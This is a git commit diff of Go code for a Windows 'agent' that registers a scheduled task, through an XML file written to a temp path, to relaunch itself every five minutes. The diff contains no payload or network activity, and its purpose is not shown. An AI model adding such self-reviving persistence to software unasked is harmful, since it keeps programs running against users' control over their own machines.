fix(startup): make watchdog task keep agent alive

- Use Task Scheduler XML instead of /TR
- Run -ensure agent in-process, not child
- Add console close and panic protection
- Guard nil event channels after stop
- Add non-Windows stubs for startup/mutex
This commit is contained in:
2026-09-01 23:12:22 +03:00
parent e7982c5487
commit e74f74bc4e
20 changed files with 365 additions and 91 deletions
+27 -2
View File
@@ -1,10 +1,14 @@
//go:build windows
package startup
import (
"fmt"
"os"
"os/exec"
"strings"
"syscall"
"unicode/utf16"
"golang.org/x/sys/windows"
@@ -16,8 +20,19 @@ func enableWatchdog() error {
if err != nil {
return err
}
tr := fmt.Sprintf(`"%s" -ensure`, exe)
return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/SC", "MINUTE", "/MO", "5", "/TR", tr, "/F")
tmp, err := os.CreateTemp("", "win64_mp-task-*.xml")
if err != nil {
return err
}
path := tmp.Name()
defer os.Remove(path)
if err := tmp.Close(); err != nil {
return err
}
if err := os.WriteFile(path, utf16LE(watchdogTaskXML(exe)), 0o600); err != nil {
return err
}
return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/XML", path, "/F")
}
func disableWatchdog() error {
@@ -41,3 +56,13 @@ func runSchtasks(args ...string) error {
}
return nil
}
func utf16LE(s string) []byte {
u := utf16.Encode([]rune(s))
out := make([]byte, 0, 2+len(u)*2)
out = append(out, 0xFF, 0xFE)
for _, r := range u {
out = append(out, byte(r), byte(r>>8))
}
return out
}